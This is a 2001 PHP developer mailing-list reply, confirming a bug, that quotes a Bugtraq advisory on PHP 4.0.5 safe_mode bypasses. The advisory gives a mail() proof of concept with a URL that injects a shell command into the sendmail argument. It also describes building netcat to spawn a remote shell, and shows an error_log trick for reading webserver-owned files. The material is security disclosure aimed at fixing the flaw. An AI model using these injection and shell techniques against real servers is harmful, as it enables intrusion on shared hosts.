On Mon, 2 Jul 2001, Jan Lehnardt wrote:
> Hi,
> has this been recognized already? a quick look on the archives said no.
Yes, this is valid. I will fix this tonight. (The first problem)
Derick
>
> <snip>
> Mailing-List: contact [EMAIL PROTECTED]; run by ezmlm
> Precedence: bulk
> List-Id: <bugtraq.list-id.securityfocus.com>
> List-Post: <mailto:[EMAIL PROTECTED]>
> List-Help: <mailto:[EMAIL PROTECTED]>
> List-Unsubscribe: <mailto:[EMAIL PROTECTED]>
> List-Subscribe: <mailto:[EMAIL PROTECTED]>
> Delivered-To: mailing list [EMAIL PROTECTED]
> Delivered-To: moderator for [EMAIL PROTECTED]
> Date: Sat, 30 Jun 2001 12:40:06 +0200
> From: Joost Pol <[EMAIL PROTECTED]>
> To: [EMAIL PROTECTED]
> Subject: php breaks safe mode
> User-Agent: Mutt/1.2.5i
> X-Keywords:
> X-UID: 156
>
> Laberatoire Contempt
>
> Date : 12/06/2001
> Author : Joost Pol alias 'Nohican' ([EMAIL PROTECTED])
> Impact : Minor in most cases.
>
> Subject : PHP safe_mode troubles.
>
> 1. PHP Version 4.0.5 breaks safe-mode.
>
> 1.0 - Description of the problem
>
> An extra 5th parameter was added to the mail() command breaking
> safemode:
>
> - snippet of the code in mail.c (lines 156-165)
>
> if (extra_cmd != NULL) {
> sendmail_cmd=emalloc(strlen(sendmail_path)+strlen(extra_cmd)+2);
> strcpy (sendmail_cmd, sendmail_path);
> strcat (sendmail_cmd, " ");
> strcat (sendmail_cmd, extra_cmd);
> } else {
> sendmail_cmd = sendmail_path;
> }
> sendmail = popen(sendmail_cmd, "w");
> } }
>
> - end of code snippet
>
> The popen() function is the C library function popen(3).
>
> An attacker could easily upload a simple evil.php script containing:
>
> <? mail("foo@bar,"foo","bar","",$bar); ?>
>
> Then the script could be invoked using a simple query like:
>
> http://foo.com/evil.php?bar=;/usr/bin/id|mail [EMAIL PROTECTED]
>
> 1.1 Impact
>
> Well, first of all it renders an important part of safe_mode useless.
>
> Two examples come to mind:
>
> 1.1.1 Example 1
>
> A customer has bougt some web space from a provider and is given
> only
> ftp access to upload his files. The customer is not supposed to have
> shell access nor view files outside of his home directory.
>
> The customer could easily upload and compile a "lite" version of the
>
> popular netcat tool (cd /usr/ports/*/netcat;make clean;make&&make
> install) and spawn him self a remote shell on the hosting boxen.
>
> If something like suexec is not used by the provider, the shell
> spawned
> could in fact be a "nobody" (uid of webserver) shell. This could
> make
> the situation even worse.
>
> Situations where (virtual) hosting machines are used in a host-based
> authentication scheme, i am not even willing to *consider*.
>
> 1.1.2 Example 2
>
> A customer has bought some web space from a provider and was given
> a shell account on the hosting boxen.
>
> If something similiar to suexec is not running the customer could
> spawn
> him self a nobody (www, web, uid of webserver) shell. (1.1.1)
>
> The impact of this varies on a per setup/provider basis.
>
> Most providers just dont *expect* someone to have a shell with the
> uid
> of the webserver on the hosting box.
>
> "Internal" scripts, database schemes and database password are
> commonly
> (but sadly) left owned by the uid/gid of the webserver. These become
> vulnerable.
>
> Even webserver configuration files (httpd.conf) and *complete*
> webserver
> roots owned by the uid/gid of the webserver have been observed in
> the wild.
>
> Experience learns that when unexepected-nobody access is gained on a
> (virtual) hosting machine "bad" things are bound to happen sooner or
> later.
>
> 1.2 - Solution
>
> Well, obviously just a "slip" of the PHP-team.
>
> 5th argument to mail() should not be honored in safe_mode. (MHO)
>
>
> 2. PHP Version 4.0.5/4.0.4pl1 SOMETIMES breaks safe_mode.
>
>
> 2.0 - Description of the problem
>
> PHP safe_mode has the nice feature of disallowing the opening/reading
> and writing to files that are not owned by the uid that the script
> is owned by.
>
> Though using some "common sense" it still is possible to open/read
> and write to files that are owned by the uid the webserver is
> running as.
>
> *notice* assuming that something like suexec is not in place */notice*
>
> An attacker could upload a simple script that does the following:
>
> <?
> $cmd = '<? showsource($foo); ?>';
> error_log($cmd,3,"/path/to/user/wwwspace/nobody.php");
> ?>
>
> For example, assuming that the error_log is owned by the webserver it
> could be read using a simple query:
>
> http://foo.bar/~user/nobody.php?foo=/path/to/webserver/logs/access_log
>
> 2.1 - Impact
>
> Depends on the setup of the hosting box.
>
> If suexec or something similiar is used, impact is nihil.
>
> See also 1.1.1/1.1.2
>
> 2.3 - Solution
>
> Disallow the changing of the error_log location in safe_mode?
>
> Not really for me to say, the PHP-team will come with something good.
>
> Notice: just changing the error_log function wont do, you could also
> change the ini setting error_log (or another ini setting
> that has a similiar effect).
>
> These ini settings can be set from a user script since they
> all have PHP_INI_ALL perimissions.
>
> Maybe disallow setting of ini variables in safemode?
>
> EOF
>
> --
> Joost Pol alias 'Nohican' <[EMAIL PROTECTED]> PGP 584619BD
> PGP fingerprint B1FA EE66 CFAA A492 D5F8 9A8A 0CDA 5846 19BD
> Laboratoire Contempt - Tel +31-6-28887995 Fax: +31-70-3873625
>
> </snip>
>
> Jan
> --
>
> --
> PHP Development Mailing List <http://www.php.net/>
> To unsubscribe, e-mail: [EMAIL PROTECTED]
> For additional commands, e-mail: [EMAIL PROTECTED]
> To contact the list administrators, e-mail: [EMAIL PROTECTED]
>
Derick Rethans
---------------------------------------------------------------------
PHP: Scripting the Web - www.php.net - [EMAIL PROTECTED]
SRM: Site Resource Manager - www.vl-srm.net
---------------------------------------------------------------------
--
PHP Development Mailing List <http://www.php.net/>
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]
